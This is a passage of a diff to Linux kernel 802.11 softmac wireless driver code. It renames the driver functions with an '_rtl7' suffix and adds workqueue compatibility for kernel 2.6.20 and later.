ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1466,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1477,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1620,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1645,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1659,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1676,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1706,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1728,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1756,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1779,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) { - + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1876,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1907,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1952,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1962,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) { + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2014,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); - ieee80211_disassociate(ieee); + ieee80211_stop_scan_rtl7(ieee); + + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2138,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2170,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2247,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2268,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2280,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2304,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2337,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2388,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2405,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2444,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2458,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && 